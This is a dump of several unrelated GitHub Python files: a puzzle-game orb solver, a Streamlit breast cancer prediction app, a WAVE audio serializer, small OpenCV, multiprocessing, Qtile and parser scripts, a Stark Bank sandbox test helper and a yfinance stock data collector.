ret-=int((int(sum(self.ATK)/len(self.ATK))*(len(path)-self.humanSwaps)/4))\r\n return ret\r\n def orbsFall(self,Board):\r\n for k in range(1,self.height):\r\n for i in range(1,self.height):\r\n for j in range(0,self.width):\r\n if Board[i][j]=='. ':\r\n self.swap(Board,i,j,i-1,j)\r\n def matchOrbs(self,Board,toClearX,toClearY):\r\n ret = self.isMatch(Board,toClearX,toClearY)\r\n if ret:\r\n for i in range(128):\r\n if toClearX[i]==-1:\r\n break\r\n else:\r\n Element=Board[toClearX[i]][toClearY[i]]\r\n for q in range(0,len(self.Classes)-1):\r\n if Element==self.Classes[q]:\r\n self.Damage[q]+=self.ATK[q]\r\n if Element==self.Classes[-1]:\r\n self.H_P+=self.RCV\r\n if self.H_P>self.MAX_HP:\r\n self.H_P=self.MAX_HP\r\n Board[toClearX[i]][toClearY[i]]='. '\r\n return ret\r\n def printCube(self,Cube):\r\n for i in range(0,len(Cube)):\r\n print(\"\".join(str(Cube[i][0])),end=\"\")\r\n for j in range(len(Cube[i][0]),self.width):\r\n print(\" \",end=\"\")\r\n print(\" \",end=\"\")\r\n print()\r\n for i in range(0,len(Cube)):\r\n print(\"(\",Cube[i][2],\",\",Cube[i][3],\")\",end=\"\")\r\n for j in range(4,self.width):\r\n print(\" \",end=\"\")\r\n print(\" \",end=\"\")\r\n print()\r\n for i in range(0,self.height):\r\n for k in range(0,len(Cube)):\r\n for j in range(0,self.width):\r\n print(Cube[k][1][i][j],end=\"\")\r\n print(\" \",end=\"\")\r\n print(\"\\033[0m\")\r\n print()\r\n def consecutiveClear(self,Board,toClearX,toClearY):\r\n #self.printBoard(Board)\r\n self.matchOrbs(Board,toClearX,toClearY)\r\n time.sleep(0.5)\r\n #self.printBoard(Board)\r\n self.orbsFall(Board)\r\n time.sleep(0.5)\r\n #self.printBoard(Board)\r\n self.populate(Board)\r\n time.sleep(0.5)\r\n #self.printBoard(Board)\r\n time.sleep(0.5)\r\n def startNode(self,Board,CX,CY,toClearX,toClearY):\r\n switchBoard=[[]]\r\n for i in range(0,self.height):\r\n switchBoard.append([])\r\n for j in range(0,self.width):\r\n switchBoard[i].append(0)\r\n for i in range(0,self.height-1):\r\n for j in range(0,self.width):\r\n self.swap(Board,i,j,i+1,j)\r\n if self.HEURISTIC_CHOICE==0:\r\n switchBoard[i][j]+=self.heuristic(Board,toClearX,toClearY)\r\n elif self.HEURISTIC_CHOICE==1:\r\n switchBoard[i][j]+=self.clusterHeuristic(Board,toClearX,toClearY)\r\n self.swap(Board,i,j,i+1,j)\r\n for i in range(0,self.height):\r\n for j in range(0,self.width-1):\r\n self.swap(Board,i,j,i,j+1)\r\n if self.HEURISTIC_CHOICE==0:\r\n switchBoard[i][j]+=self.heuristic(Board,toClearX,toClearY)\r\n elif self.HEURISTIC_CHOICE==1:\r\n switchBoard[i][j]+=self.clusterHeuristic(Board,toClearX,toClearY)\r\n self.swap(Board,i,j,i,j+1)\r\n for i in range(1,self.height):\r\n for j in range(0,self.width):\r\n self.swap(Board,i,j,i-1,j)\r\n if self.HEURISTIC_CHOICE==0:\r\n switchBoard[i][j]+self.heuristic(Board,toClearX,toClearY)\r\n elif self.HEURISTIC_CHOICE==1:\r\n switchBoard[i][j]+=self.clusterHeuristic(Board,toClearX,toClearY)\r\n self.swap(Board,i,j,i-1,j)\r\n for i in range(0,self.height):\r\n for j in range(1,self.width):\r\n self.swap(Board,i,j,i,j-1)\r\n if self.HEURISTIC_CHOICE==0:\r\n switchBoard[i][j]+=self.heuristic(Board,toClearX,toClearY)\r\n elif self.HEURISTIC_CHOICE==1:\r\n switchBoard[i][j]+=self.clusterHeuristic(Board,toClearX,toClearY)\r\n self.swap(Board,i,j,i,j-1)\r\n maximum=0\r\n for i in range(0,self.height):\r\n for j in range(0,self.width):\r\n if switchBoard[i][j]>maximum:\r\n CX=i\r\n CY=j\r\n maximum=switchBoard[i][j]\r\n return (CX,CY)\r\n def maxIndex(self,Cube,toClearX,toClearY,BPath):\r\n k=0\r\n if self.HEURISTIC_CHOICE==0:\r\n max=self.heuristic(Cube[0][1],toClearX,toClearY,BPath+Cube[0][0])\r\n elif self.HEURISTIC_CHOICE==1:\r\n max=self.clusterHeuristic(Cube[0][1],toClearX,toClearY,BPath+Cube[0][0])\r\n for i in range(0,len(Cube)):\r\n if self.HEURISTIC_CHOICE==0:\r\n holder=self.heuristic(Cube[i][1],toClearX,toClearY,BPath+Cube[i][0])\r\n elif self.HEURISTIC_CHOICE==1:\r\n holder=self.clusterHeuristic(Cube[i][1],toClearX,toClearY,BPath+Cube[i][0])\r\n if holder>max:\r\n max=holder\r\n k=i\r\n return k\r\n def appendMatrix(self,Cube,Board,counter,CurX,CurY):\r\n Cube.append([\"\",[],0,0])\r\n for i in range(0,self.height):\r\n Cube[counter][1].append([])\r\n for j in range(0,self.width):\r\n Cube[counter][1][i].append(Board[i][j])\r\n Cube[counter][2]=CurX\r\n Cube[counter][3]=CurY\r\n return\r\n def cubeInit(self,Cube,Board,CurX,CurY,Prev=\"N\"):\r\n counter=0\r\n if CurX0 and Prev!=\"D\":\r\n self.appendMatrix(Cube,Board,counter,CurX-1,CurY)\r\n self.swap(Cube[counter][1],CurX,CurY,CurX-1,CurY)\r\n Cube[counter][0]+=\"U\"\r\n counter+=1\r\n if(CurY>0) and Prev!=\"R\":\r\n self.appendMatrix(Cube,Board,counter,CurX,CurY-1)\r\n self.swap(Cube[counter][1],CurX,CurY,CurX,CurY-1)\r\n Cube[counter][0]+=\"L\"\r\n counter+=1\r\n if(CurYself.heuristic(Cube[0][1],toClearX,toClearY,Cube[0][0]):\r\n Cube[0]=Cube[Max]\r\n else:\r\n if self.clusterHeuristic(Cube[Max][1],toClearX,toClearY,Cube[Max][0])>self.clusterHeuristic(Cube[0][1],toClearX,toClearY,Cube[0][0]):\r\n Cube[0]=Cube[Max]\r\n C1=[]\r\n self.cubeInit(C1,Cube[Max][1],Cube[Max][2],Cube[Max][3],Cube[Max][0][-1])\r\n self.cubeNext(C1)\r\n self.cubeNext(C1)\r\n for i in range(0,len(C1)):\r\n C1[i][0]=Cube[Max][0]+C1[i][0]\r\n Cube.append(C1[i])\r\n del Cube[Max]\r\n def incrementalReadout(self,BPath,Orig,OX,OY):\r\n print(\"Optimal path: \",BPath)\r\n self.printBoard(Orig)\r\n for i in range(0,len(BPath)):\r\n if BPath[i]==\"D\":\r\n self.swap(Orig,OX,OY,OX+1,OY)\r\n OX+=1\r\n elif BPath[i]==\"U\":\r\n self.swap(Orig,OX,OY,OX-1,OY)\r\n OX-=1\r\n elif BPath[i]==\"R\":\r\n self.swap(Orig,OX,OY,OX,OY+1)\r\n OY+=1\r\n elif BPath[i]==\"L\":\r\n self.swap(Orig,OX,OY,OX,OY-1)\r\n OY-=1\r\n if self.HEURISTIC_CHOICE==0:\r\n time.sleep(0.25)\r\n elif self.HEURISTIC_CHOICE==1:\r\n time.sleep(0.0625)\r\n self.printBoard(Orig)\r\n return Orig\r\n def cubeLoop(self,Board,CurX,CurY,BPath):\r\n while 1:\r\n Cube=[]\r\n self.cubeInit(Cube,Board,CurX,CurY)\r\n FLEH=0\r\n if self.UseAStar==1:\r\n Cube.insert(0,Cube[0])\r\n for i in range(0,self.movesInUnit):\r\n if self.UseAStar==0:\r\n self.cubeNext(Cube)\r\n else:\r\n for j in range(0,3**i):\r\n self.cubeNextAStar(Cube,toClearX,toClearY,BPath)\r\n if len(Cube)>256:\r\n break\r\n DINNER=Cube[self.maxIndex(Cube,toClearX,toClearY,BPath)]\r\n DINHEU=self.heuristic(DINNER[1],toClearX,toClearY)\r\n if DINHEU>FLEH:\r\n FLEH=DINHEU\r\n print(\"Migrating starting node to new optimum...\",end=\"\")\r\n print(DINHEU,end=\"\")\r\n print(\" Path=\"+DINNER[0])\r\n if self.UseAStar==0:\r\n Max = self.maxIndex(Cube,toClearX,toClearY,BPath)\r\n else:\r\n Max = 0\r\n Best = Cube[Max]\r\n # if self.HEURISTIC_CHOICE==0:\r\n # print(\"Best board updated. New heuristic: \"+str(self.heuristic(Cube[Max][1],toClearX,toClearY,BPath+Cube[Max][0])))\r\n # elif self.HEURISTIC_CHOICE==1:\r\n # print(\"Best board updated. New heuristic: \"+str(self.clusterHeuristic(Cube[Max][1],toClearX,toClearY,BPath+Cube[Max][0])))\r\n # print(\"PATH: \",BPath+Cube[Max][0])\r\n # self.printBoard(Cube[Max][1])\r\n BPath+=Best[0]\r\n for i in range(0,len(Best[0])):\r\n if Best[0][i]==\"D\": CurX+=1\r\n if Best[0][i]==\"U\": CurX-=1\r\n if Best[0][i]==\"R\": CurY+=1\r\n if Best[0][i]==\"L\": CurY-=1\r\n if(Board==Best[1]):\r\n break\r\n if self.HEURISTIC_CHOICE==0:\r\n if(self.heuristic(Board,toClearX,toClearY)==self.heuristic(Best[1],toClearX,toClearY,BPath+Best[0])):\r\n break\r\n elif self.HEURISTIC_CHOICE==1:\r\n if(self.clusterHeuristic(Board,toClearX,toClearY)==self.clusterHeuristic(Best[1],toClearX,toClearY,BPath+Best[0])):\r\n break\r\n Board=Best[1]\r\n return (BPath,Board)\r\n def makeMove(self,Board,CurX,CurY,toClearX,toClearY):\r\n self.Damage=[0,0,0,0,0]\r\n (CurX,CurY)=self.startNode(Board,CurX,CurY,toClearX,toClearY)\r\n Orig=Board\r\n OX=CurX\r\n OY=CurY\r\n BPath=\"\"\r\n (BPath,Board)=self.cubeLoop(Board,CurX,CurY,BPath)\r\n #Board=self.incrementalReadout(BPath,Orig,OX,OY)\r\n matchedBoard=Board\r\n while(self.isMatch(Board,toClearX,toClearY,1)):\r\n self.consecutiveClear(Board,toClearX,toClearY)\r\n print(\"Health: \"+str(self.H_P)+\"\\nDamage dealt:\")\r\n for i in range(0,len(self.Classes)-1):\r\n print(\"\\t\"+str(self.Damage[i])+\" \"+self.ElementNames[i]+(\" Mass\" if self.FinMassAttack[i]>=1 else \"\"))\r\n for i in range(0, len(self.Damage)): self.Damage[i]=0\r\n self.HEURISTIC_CHOICE=0\r\n return Board,BPath,matchedBoard,OX,OY\r\n# -------------------- MAIN --------------------\r\nif __name__ == \"__main__\":\r\n #quick test\r\n CurX=0\r\n CurY=0\r\n Board = [[]]\r\n toClearX = []\r\n toClearY = []\r\n game = BlackGarden(HEURISTIC_CHOICE=0,UseAStar=1)\r\n # I advise against implementing HEURISTIC_CHOICE=1 and UseAStar=1 at the same time, under the simple logic that\r\n # a human brain (UseAStar) cannot easily implement a clustering algorithm (HEURISTIC_CHOICE=1) unless severe\r\n # lookahead is used, so the machine ends up with bad short-term results.\r\n for i in range(0,128):\r\n toClearX.append(-1)\r\n toClearY.append(-1)\r\n Board=game.boardInit(Board,toClearX,toClearY)\r\n game.printBoard(Board)\r\n origBoard=Board\r\n (Board,BPath,matchedBoard,OX,OY)=game.makeMove(Board,CurX,CurY,toClearX,toClearY)\r\n game.printBoard(origBoard)\r\n print(\"Started at (\",str(OX),\",\",str(OY),\")\")\r\n print(str(len(BPath))+\" moves: \"+BPath)\r\n game.printBoard(Board)\r\n x=input(\"Press [return] to see the path.\")\r\n game.incrementalReadout(BPath,origBoard,OX,OY)","repo_name":"psomisetty/CS175PuzzleDragons","sub_path":"BlackGarden.py","file_name":"BlackGarden.py","file_ext":"py","file_size_in_byte":21419,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"40806776974","text":"import streamlit as st \r\nfrom PIL import Image\r\nimport pickle\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nimport pandas as pd\r\nst.set_option('deprecation.showfileUploaderEncoding', False)\r\npickle_in = open(\"data.pkl\",\"rb\")\r\nmodel=pickle.load(pickle_in)\r\ndataset= pd.read_csv('data.csv')\r\n\r\ndef predict_note_authentication(perimeter_mean, concave_points_mean, radius_se, perimeter_se, perimeter_worst, concave_points_worst):\r\n output= model.predict(([[perimeter_mean, concave_points_mean, radius_se, perimeter_se, perimeter_worst, concave_points_worst]]))\r\n print(\"diagnosis\", output)\r\n if output==[1]:\r\n prediction=\"Malignant \"\r\n else:\r\n prediction=\"Benign\"\r\n print(prediction)\r\n return prediction\r\ndef main():\r\n \r\n html_temp = \"\"\"\r\n
\r\n
\r\n
\r\n

Poornima Institute of Engineering & Technology

\r\n

Department of Computer Engineering

\r\n

Breast Cancer Detection

\r\n
\r\n
\r\n
\r\n \"\"\"\r\n\r\n st.markdown(html_temp,unsafe_allow_html=True)\r\n st.header(\"Breast Cancer Prediction\")\r\n\r\n perimeter_mean = st.number_input(\"Insert Perimeter mean\")\r\n concave_points_mean = st.number_input(\"Insert Concave points mean\")\r\n radius_se = st.number_input(\"Insert Radius se\")\r\n perimeter_se = st.number_input(\"Insert Perimeter se\")\r\n perimeter_worst = st.number_input(\"Insert Perimeter worst\")\r\n concave_points_worst = st.number_input(\"Insert Concave points worst\")\r\n\r\n if st.button(\"Predict\"):\r\n result=predict_note_authentication(perimeter_mean, concave_points_mean, radius_se, perimeter_se, perimeter_worst, concave_points_worst)\r\n st.success('Model has predicted {}'.format(result))\r\n\r\nif __name__=='__main__':\r\n main()","repo_name":"indra5147/FDP-Assignment-Predictions-of-Breast-Cancer-using-SVM","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2024,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"17204353827","text":"import wave\nfrom typing import Annotated, BinaryIO\n\nfrom ...basic import Lpcm\nfrom ...errors import PilusError\nfrom ...forge import FORGE\n\n\nclass PilusWaveError(PilusError, wave.Error):\n \"\"\"Raised if the WAVE deserializer fails.\"\"\"\n\n\n_ONE_SECOND_IN_NANOSECONDS = int(1e9)\n\n\n@FORGE.register_deserializer\ndef from_io(io: Annotated[BinaryIO, \"audio/vnd.wave\"]) -> Lpcm:\n \"\"\"Deserialize IO stream into an instance of the given type.\"\"\"\n ### Metadata\n # The actual deserialization happens at `Wave_read`. The subsequent calls to\n # `reader.get*` simply retrives the already-deserialized data. That's why the\n # `try..except` block is only around `Wave_read` itself.\n try:\n reader = wave.Wave_read(io)\n except wave.Error as exc:\n raise PilusWaveError(f'Could not deserialize WAVE metadata: \"{exc}\"') from exc\n byte_depth = reader.getsampwidth()\n # Check number of channels\n channels = reader.getnchannels()\n if channels != 1:\n raise PilusWaveError(\n f\"Found {channels} channels. \"\n \"We only support single-channel (mono) WAVE data.\"\n )\n # Check frequency\n frequency_hz = reader.getframerate()\n time_step_ns = _ONE_SECOND_IN_NANOSECONDS // frequency_hz\n frequency_converted_back = _ONE_SECOND_IN_NANOSECONDS // time_step_ns\n frequency_delta = abs(frequency_converted_back - frequency_hz)\n if frequency_delta > 1: # We allow 1 Hz of precision loss\n raise PilusWaveError(\n f\"Found frequency of {frequency_hz} Hz. \"\n \"We can't convert this frequency to a time step in nanoseconds \"\n f\"without losing {frequency_delta} Hz of precision.\"\n )\n ### Data\n try:\n # `frames` is the logical number of samples\n frames = reader.getnframes()\n data = reader.readframes(frames)\n except wave.Error as exc:\n raise PilusWaveError(f'Could not deserialize WAVE data: \"{exc}\"') from exc\n # Wrap metadata and data into the given type\n return Lpcm(byte_depth, time_step_ns, data)\n\n\ndef to_io(lpcm: Lpcm, io: BinaryIO) -> None:\n \"\"\"Serialize given type to the IO stream.\"\"\"\n writer = wave.Wave_write(io)\n # Set metadata first\n writer.setnchannels(1)\n writer.setsampwidth(lpcm.byte_depth)\n writer.setframerate(1e9 // lpcm.time_step_ns)\n writer.setnframes(len(lpcm))\n # Write data and metadata. Yes, it writes both even though the method name\n # is `writeframesraw`. It's an error to change the metadata after this call.\n try:\n writer.writeframesraw(lpcm.data)\n except wave.Error as exc:\n raise PilusWaveError(f'Could not serialize data to WAVE: \"{exc}\"') from exc\n","repo_name":"sbtinstruments/pilus","sub_path":"pilus/formats/wave/_wave.py","file_name":"_wave.py","file_ext":"py","file_size_in_byte":2672,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"1655314672","text":"# 画像処理編\n# 23. 指定した2枚のカラー画像を読み込み,差分画像を作成するプログラム(類似画像を利用)\n\nimport cv2\n\nimg1 = cv2.imread(\"../../data/diff1.jpg\")\nimg2 = cv2.imread(\"../../data/diff2.jpg\")\n\ndiff = cv2.absdiff(img1, img2)\n\ncv2.imwrite(\"../../data/image-processing-chap/ip_23.jpg\", diff)","repo_name":"Kobamiyannnn/image-processing-with-opencv","sub_path":"src/image-processing-chap/23_create_difference_images.py","file_name":"23_create_difference_images.py","file_ext":"py","file_size_in_byte":339,"program_lang":"python","lang":"ja","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"9354966172","text":"import multiprocessing as mp\nimport random as rm\nimport time\n\n\ndef prod(file: mp.Queue) -> None:\n i = 0\n while i < 10:\n file.put(rm.randint(0, 15))\n i += 1\n\n\ndef cons(file: mp.Queue, sm: mp.Semaphore, txt: str) -> None:\n i = 0\n while i < 10:\n sm.acquire()\n print(txt, file.get())\n sm.release()\n time.sleep(.1)\n i += 1\n\n\nif __name__ == \"__main__\":\n file1 = mp.Queue()\n file2 = mp.Queue()\n sm = mp.Semaphore(1)\n p1 = mp.Process(target=prod, args=(file1,))\n p2 = mp.Process(target=prod, args=(file2,))\n c1 = mp.Process(target=cons, args=(file1, sm, '1'))\n c2 = mp.Process(target=cons, args=(file2, sm, '2'))\n p1.start()\n p2.start()\n c1.start()\n c2.start()\n p1.join()\n p2.join()\n c1.join()\n c2.join()\n","repo_name":"oppZ/pc","sub_path":"tp4/ex3.py","file_name":"ex3.py","file_ext":"py","file_size_in_byte":803,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"29970079821","text":"from s_expression_reader import ReadTestFile\nfrom s_expression_parser import ParseToBinaryTree\n\ndef main():\n reader = ReadTestFile('sample_input.txt')\n try:\n reader.read_file()\n except ValueError as e:\n print('Error:', e.args[0])\n return\n\n for s_expression in reader.get_s_expressions():\n parser = ParseToBinaryTree(s_expression)\n parser.build_binary_tree()\n answer = parser.get_answer()\n print(answer)\n\nif __name__ == \"__main__\":\n main()","repo_name":"hubamatyas/S-Expression-To-Binary-Tree","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":502,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"10019705525","text":"#Qtile Configuration\n#Julen Camps\n\nfrom libqtile.config import Group, Key\nfrom libqtile.lazy import lazy \nfrom modules.keys import keys, mod\n\n#Groups\ngroups = [Group(i) for i in [ \"WWW\", \"SYS\", \"DEV\", \"DOC\", \"ARC\", \"MIS\"]]\n\nfor i, group in enumerate(groups):\n actual_key = str(i + 1)\n keys.extend([\n # Switch to workspace N\n Key([mod], actual_key, lazy.group[group.name].toscreen()),\n # Send window to workspace N\n Key([mod, \"shift\"], actual_key, lazy.window.togroup(group.name))\n ])\n","repo_name":"JulenCamps/config_files","sub_path":".config/qtile/modules/groups.py","file_name":"groups.py","file_ext":"py","file_size_in_byte":521,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"74207511873","text":"import os\nimport json\nimport logging\nimport requests\nfrom time import sleep\nfrom hashlib import md5\n\nfrom django.conf import settings\n\n\nlogger = logging.getLogger(__name__)\n\n\ndef _save_by_url(path, url, ttl):\n if ttl < 0:\n logger.error(\"fail: {}\".format(url))\n return\n\n file = open(path, 'wb')\n try:\n response = requests.get(url)\n except requests.ConnectionError:\n file.close()\n sleep(1)\n _save_by_url(path, url, ttl - 1)\n return\n\n if response.status_code == 200:\n file.write(response.content)\n file.close()\n\n\ndef _save_file(file_data: dict, path: str, file_name: str):\n file_path = os.path.join(path, file_name)\n\n if not os.path.isfile(file_path):\n _save_by_url(file_path, file_data['url'], settings.GET_FILE_TTL)\n return\n\n if md5(open(file_path, 'rb').read()).hexdigest() == file_data['md5']:\n return\n\n temp_path = os.path.join(path, 'temp_' + file_name)\n _save_by_url(temp_path, file_data['url'], settings.GET_FILE_TTL)\n os.remove(file_path)\n os.rename(temp_path, file_path)\n\n\ndef _data_to_files(data: dict):\n def handle_group_of_files(name, root, default_name):\n if name not in data:\n return\n\n for file in data[name]:\n _save_file(file, root, '{}.{}'.format(default_name, file['filetype']))\n sleep(1)\n\n handle_group_of_files('plugins', settings.PLUGINS_FILES_ROOT, settings.PLUGINS_DEFAULT_NAME)\n handle_group_of_files('theme_files', settings.THEMES_FILES_ROOT, settings.THEMES_DEFAULT_NAME)\n handle_group_of_files('content_editor_files', settings.EDITOR_FILES_ROOT, settings.EDITOR_DEFAULT_NAME)\n\n\ndef _get_additional_data(url):\n try:\n response = requests.get(url, {'token': settings.SETKA_LICENSE_KEY})\n except requests.ConnectionError:\n return None\n\n if response.status_code == 200:\n return json.loads(response.content)\n\n\ndef update_setka_build():\n content = _get_additional_data(settings.SETKA_CURRENT_BUILD_URL)\n if content:\n _data_to_files(content)\n\n\ndef update_setka_themes():\n content = _get_additional_data(settings.SETKA_CURRENT_THEME_URL)\n if content:\n _data_to_files(content)\n\n\ndef get_status_info():\n return _get_additional_data(settings.SETKA_COMPANY_STATUS_URL)\n","repo_name":"jetstyle/django-setka","sub_path":"setka_editor/utils/editor.py","file_name":"editor.py","file_ext":"py","file_size_in_byte":2314,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"17074386609","text":"import starkbank\nimport os\n\nexampleProject = starkbank.Project(\n environment=\"sandbox\",\n id=os.environ[\"SANDBOX_ID\"], # \"9999999999999999\"\n private_key=os.environ[\"SANDBOX_PRIVATE_KEY\"], # \"-----BEGIN EC PRIVATE KEY-----\\nMHQCAQEEIBEcEJZLk/DyuXVsEjz0w4vrE7plPXhQxODvcG1Jc0WToAcGBSuBBAAK\\noUQDQgAE6t4OGx1XYktOzH/7HV6FBukxq0Xs2As6oeN6re1Ttso2fwrh5BJXDq75\\nmSYHeclthCRgU8zl6H1lFQ4BKZ5RCQ==\\n-----END EC PRIVATE KEY-----\"\n)\n\nexampleOrganization = starkbank.Organization(\n environment=\"sandbox\",\n id=os.environ[\"SANDBOX_ORGANIZATION_ID\"], # \"8888888888888888\"\n private_key=os.environ[\"SANDBOX_ORGANIZATION_PRIVATE_KEY\"], # \"-----BEGIN EC PRIVATE KEY-----\\nMHQCAQEEIBEcEJZLk/DyuXVsEjz0w4vrE7plPXhQxODvcG1Jc0WToAcGBSuBBAAK\\noUQDQgAE6t4OGx1XYktOzH/7HV6FBukxq0Xs2As6oeN6re1Ttso2fwrh5BJXDq75\\nmSYHeclthCRgU8zl6H1lFQ4BKZ5RCQ==\\n-----END EC PRIVATE KEY-----\"\n)\n\nassert exampleProject.environment != \"production\", \"NEVER RUN THE TEST ROUTINE IN PRODUCTION\"\n","repo_name":"starkbank/sdk-python","sub_path":"tests/utils/user.py","file_name":"user.py","file_ext":"py","file_size_in_byte":966,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"61"} +{"seq_id":"38857016558","text":"from datetime import datetime\nimport os\nimport csv\nimport traceback\nimport jsonpickle\nimport pandas as pd\nimport yfinance as yf\nimport utils.yf_utils as yf_utils\nfrom src.option import Option\n\n\nclass DataProcessor:\n def __init__(self):\n self.tickers = None\n self.stock_data = {}\n self.currency_data = {}\n self.initialize()\n \n def initialize(self):\n self.organize_tickers(\"data/tickers/tickers.csv\")\n self.tickers = self.get_symbols(\"data/tickers/tickers.csv\")\n self.currencies = self.get_symbols(\"data/currency/currency.csv\")\n\n def get_expiry_from_target_days(self, valid_option_dates, target_days_to_expiry):\n if len(valid_option_dates) == 0:\n return \"\"\n\n # index, smallest time difference\n result = [0, target_days_to_expiry]\n today = datetime.now()\n for i, date in enumerate(valid_option_dates):\n days_diff = abs((datetime.strptime(date, \"%Y-%m-%d\") - today).days - target_days_to_expiry)\n if days_diff < result[1]:\n result = [i, days_diff]\n\n return result[0]\n \n def get_symbols(self, file_path):\n with open(file_path, 'r', encoding=\"utf-8\") as file:\n csvreader = csv.reader(file)\n return [row[0] for row in csvreader]\n \n def write_data(self, data, file_path):\n encoded = jsonpickle.encode(data)\n with open(file_path, 'w', encoding=\"utf-8\") as file:\n file.write(encoded)\n \n def write_currency_data(self, file_path):\n for currency in self.currencies:\n try:\n print(f\"Added {currency}\")\n to_usd_symbol = yf_utils.yf_currency_symbol(currency, \"USD\")\n to_usd_ticker = yf.Ticker(to_usd_symbol)\n self.currency_data[currency] = to_usd_ticker.fast_info[\"lastPrice\"]\n except:\n print(traceback.format_exc())\n\n self.write_data(self.currency_data, file_path)\n\n def update_stock_data(self, ticker_str):\n self.stock_data[ticker_str] = {}\n for method in [\"info\", \"financials\", \"balancesheet\", \"cashflow\", \"dividends\", \"options\", \"option_chain\"]:\n self.stock_data[ticker_str][method] = None\n try:\n ticker = yf.Ticker(ticker_str)\n data = getattr(ticker, method)\n\n # Serialization/deserialization doesn't work for calls/puts without converting to/from dict\n if method == \"option_chain\":\n option_dates = self.stock_data[ticker_str][\"options\"]\n expiry_index = self.get_expiry_from_target_days(option_dates, 180)\n expiry = option_dates[expiry_index]\n data = ticker.option_chain(expiry) # date = expiry\n option_chain = {}\n option_chain[\"calls\"] = data.calls.to_dict()\n option_chain[\"puts\"] = data.puts.to_dict()\n data = option_chain\n self.stock_data[ticker_str][\"option_chain_date\"] = expiry\n\n self.stock_data[ticker_str][method] = data\n except:\n print(f\"Error calling {method}\")\n\n def write_stock_data(self, file_path, tickers_input = None):\n tickers_to_use = self.tickers\n if tickers_input is not None:\n tickers_to_use = tickers_input\n\n total_time, count, length = 0, 0, len(tickers_to_use)\n for ticker_str in tickers_to_use:\n t1 = datetime.now()\n print(f\"Fetching data for ticker: {ticker_str}\")\n\n self.update_stock_data(ticker_str)\n\n t2 = datetime.now()\n total_time += (t2-t1).microseconds\n count += 1\n print(f\"Took {(t2-t1).microseconds} microseconds to fetch {ticker_str} || Average: {total_time/count} || Total: {total_time} || Count: {count} || Estimated time remaining (m) {(length - count) * total_time/count / 1000000 / 60}\")\n\n individual_stock_file_path = f\"data/stock_data/{ticker_str}.pkl\"\n self.write_data(self.stock_data[ticker_str], individual_stock_file_path)\n\n self.write_data(self.stock_data, file_path)\n \n def read_stock_data(self, file_path):\n with open(file_path, 'r', encoding=\"utf-8\") as file:\n file_json = file.read()\n decoded = jsonpickle.decode(file_json)\n\n for key, val in decoded.items():\n try:\n decoded[key][\"option_chain\"][\"calls\"] = pd.DataFrame.from_dict(decoded[key][\"option_chain\"][\"calls\"])\n decoded[key][\"option_chain\"][\"puts\"] = pd.DataFrame.from_dict(decoded[key][\"option_chain\"][\"puts\"])\n except:\n print(\"Error decoding options chain\")\n continue\n\n return decoded\n \n def read_individual_stock_data(self, file_path):\n with open(file_path, 'r', encoding=\"utf-8\") as file:\n file_json = file.read()\n decoded = jsonpickle.decode(file_json)\n\n for key, val in decoded.items():\n try:\n decoded[\"option_chain\"][\"calls\"] = pd.DataFrame.from_dict(decoded[\"option_chain\"][\"calls\"])\n decoded[\"option_chain\"][\"puts\"] = pd.DataFrame.from_dict(decoded[\"option_chain\"][\"puts\"])\n except:\n print(\"Error decoding options chain\")\n continue\n\n return decoded\n \n def read_data(self, file_path):\n with open(file_path, 'r', encoding=\"utf-8\") as file:\n file_json = file.read()\n return jsonpickle.decode(file_json)\n \n def update_stock_data_file(self, file_path, tickers_input = None):\n tickers_to_use = self.tickers\n if tickers_input is not None:\n tickers_to_use = tickers_input\n\n self.stock_data = self.read_data(file_path)\n\n total_time, count, length = 0, 0, len(tickers_to_use)\n\n for ticker_str in tickers_to_use:\n t1 = datetime.now()\n print(f\"Fetching data for ticker: {ticker_str}\")\n\n self.update_stock_data(ticker_str)\n\n t2 = datetime.now()\n total_time += (t2-t1).microseconds\n count += 1\n print(f\"Took {(t2-t1).microseconds} microseconds to fetch {ticker_str} || Average: {total_time/count} || Total: {total_time} || Count: {count} || Estimated time remaining (m) {(length - count) * total_time/count / 1000000 / 60}\")\n\n self.write_data(self.stock_data, file_path)\n \n def organize_tickers(self, file_path):\n tickers = set()\n directory = \"data/raw\"\n for file_name in os.listdir(directory):\n data_file_path = os.path.join(directory, file_name)\n\n with open(data_file_path, 'r', encoding=\"utf-8\") as file:\n csvreader = csv.reader(file)\n next(csvreader)\n \n for row in csvreader:\n tickers.add(row[0])\n\n tickers_input = []\n for ticker in tickers:\n tickers_input.append([ticker])\n \n with open(file_path, 'w', encoding=\"utf-8\") as file:\n csvwriter = csv.writer(file)\n csvwriter.writerows(tickers_input)\n\ndp = DataProcessor()\n# dp.options_annualized(\"data/intrinsic_value/20231017.csv\")\n# dp.write_stock_data('data/core/new_stock_data.pkl')\n# data = dp.read_data('data/core/new_stock_data.pkl')\n# dp.write_currency_data(\"data/core/currency_data.pkl\")\n# print(dp.read_currency_data(\"data/core/currency_data.pkl\"))\n\nticker_str = \"FRT\"\nprint(dp.read_individual_stock_data(f\"data/stock_data/{ticker_str}.pkl\"))\n\n# tickers = [\"ABNB\", \"SXP.TO\", \"MRG-UN.TO\", \"APR-UN.TO\", \"RET-A.V\"]\n# dp.write_stock_data('data/core/test.pkl', tickers)\n# dp.update_stock_data_file(\"data/core/new_stock_data.pkl\", tickers)\n\n# dp = DataProcessor()\n# data = dp.read_stock_data(\"data/core/new_stock_data.pkl\")\n\n# print(data[\"DHT\"])\n# print(data[\"RET-A.V\"])\n\n# 